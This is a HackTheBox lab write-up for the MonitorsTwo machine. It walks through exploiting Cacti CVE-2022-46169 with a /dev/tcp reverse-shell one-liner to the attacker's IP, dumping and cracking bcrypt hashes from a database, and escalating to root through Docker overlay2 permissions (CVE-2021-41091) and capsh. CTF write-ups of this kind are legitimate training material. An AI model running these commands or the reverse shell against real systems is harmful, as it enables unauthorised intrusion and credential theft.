MonitorsTwo- HackTheBox Writeup

Machine Name: MonitorsTwo
IP: 10.10.11.211
Difficulty: Easy

Summary

MonitorsTwo is an easy machine that starts with exploiting the Cacti monitoring software to gain a shell. The shell obtained is a container host where we find hashes of user in a database file. After cracking the hashes, we obtain the user shell through SSH. Privilege escalation consists of leveraging insufficient permissions on the Docker overlay2 filesystem which allows host users to run privileged binaries on the container. To create a setuid bash binary on the docker container, capsh’s capabilities were misused to gain privileges as root. Finally, the binary was executed on the host machine to obtain a root shell.

Information Gathering

Nmap scan shows that port 22 (SSH), and port 80 (HTTP) are running. The web server is Nginx 1.18.0.

Since we do not see any virtual host redirection, let us just visit the web server.

We find that the server is running “The Cacti Group” with version 1.2.22. Cacti is a monitoring and fault management tool as described in their product page. Straight away, we google exploits for the version reported by Nmap.

The first result was rapid7’s website which meant there is a metasploit module available for this. Rather than using metasploit, let’s see if there is a way to manually exploit this.

CVE-2022-46169

The vulnerability is caused by a lack of proper authorization to the remote_agent.php file and input validation in the Cacti framework. The agent is used to collect data from remote devices and send it back to the Cacti server. The remote_agent.php file is not authenticated, which means that anyone can access it without providing a username and password. The file calls a function that retrieves the IP address of the client and checks if the “poller” table contains an entry with it’s corresponding hostname. This client’s address can be controlled by an attacker by using the HTTP header “X-Forwarded: <TARGET-IP>”. The command is injected through the “poller_id” parameter which is controlled by the user. The remote_agent.php file uses “proc_open” which takes a command as an argument.

An attacker could exploit this by using separators such as “; or &&” to execute malicious commands.

$poller_id = 'someValue; maliciousCommand';

SonarSource’s post explains this vulnerability in detail.

FredBrave’s generous Github’s PoC allows us to get a shell conveniently. It tries to confirm the vulnerability by checking if the response contains the string “FATAL: You are not authorized to use this service” and if the status code is not 403 (indicating a forbidden access). Then it bruteforces to form URL with parameters and finally runs the “bash -c ‘bash -i >& /dev/tcp/{myip}/{myport} 0>&1′” reverse shell one liner to obtain the reverse shell.

git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
nc -lvnp 443
python3 CVE-2022-46169.py -u http://10.10.11.211/ --LHOST=10.10.16.6 --LPORT=443

We get a shell as “www-data”. We understand that it is a container by observing it’s hostname or by checking the “/” directory where we find the “.dockerenv” (docker environment file).

www-data@50bca5e748b0:/var/www/html$ hostname
cd /
ls -la

Getting User Shell

We also see an interesting file called “entrypoint.sh” that contains the credentials of root for mysql. The username and password is “root”. The file is checking if a table named “automation_devices” exists in the database and then imports the “/var/www/html/cacti.sql” file. Then it updates the “must_change_password” field to an empty string for the “admin” user in the “user_auth” table, and finally sets the time to UTC. It also changes the ownership of the “/var/www/html” directory ownership to “www-data”.

cat /entrypoint.sh
#mysql --host=db --user=root --password=root cacti -e "show tables"

Obviously, the “user_auth” table seems to be important. Let us access it using the credentials.

mysql --host=db --user=root --password=root cacti -e "select * from user_auth;"

The table contains the hashes of users “admin” and “marcus”. These hashes look like they are Bcrypt hashes are typically represented with a prefix “$2y$” followed by the salt and hash. Let’s crack them using John. If you would like to identify hashes using a tool, then you could run “hashid -m <filename>”.

vi hash.txt
admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

It managed to crack one hash which was of user marcus.

Let us use this password to login as marcus through SSH. Since the “user_auth” table revealed the hostname to be “monitorstwo.htb”, let’s add that to the “/etc/hosts” file.

vi /etc/hosts
10.10.11.211	monitorstwo.htb

ssh marcus@monitorstwo.htb
funkymonkey

Privilege Escalation

Marcus isn’t allowed to run “sudo”. I couldn’t find anything interesting by myself, so I transferred LinPeas and let it do it’s magic.

python3 -m http.server 80

cd /tmp
wget 10.10.16.6/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPeas shows that Marcus has a mail.

Now, in normal circumstances, one wouldn’t notice those messages that SSH login greets us with, unless they are short. In this case, the SSH greeting conveys that Marcus has a mail. (“You have mail”).

cat /var/mail/marcus

The mail is from the CISO talking about a few vulnerabilities that were discovered.

The “CVE-2021-41091” looks to be promising as we have seen the usage of containers in this box. It deals with Moby project created by Docker. The description tells us that one could exploit it by executing programs that exist inside the container directly from the host machine due to insufficiently restricted permissions (/var/lib/docker/overlay2 in the case of this CVE). If a binary with setuid binary exists within the docker environment, an unprivileged user can discover and execute it if the UID of the user on host machine and the owner of the file inside container match.

Docker’s overlay filesystem acts as a layer between containers and the host to manage files inside containers through the host.

Let us use the “findmnt” command to find the mounted docker overlay file system.

findmnt

We find the “/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged” filesystem. This is a “overlay2” file system in Docker. If check the file permissions for this, we find that we have execute permissions for all files inside this directory.

ls -la /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged

The idea here is to execute bash binary as root from the host to get a root shell. The problem is that we do not have the suid bet set on the bash binary on the docker container we obtained previously. The solution is to somehow get root on the docker and then set the suid bit on bash.

Let’s transfer and run linpeas on the docker container to find something we can use to escalate our privileges as root inside the container.

I found the “capsh” binary which is infamous for exploiting docker scenarios such as container escapes as well. A quick search on GTFObins gives us the way to root. I’ve then set the suid to bash so that we can get the run the binary from the host and get a shell as root.

capsh --gid=0 --uid=0 --

Let’s run this binary from marcus’s shell.

ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash

/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p

cat /root/root.txt

Pwned!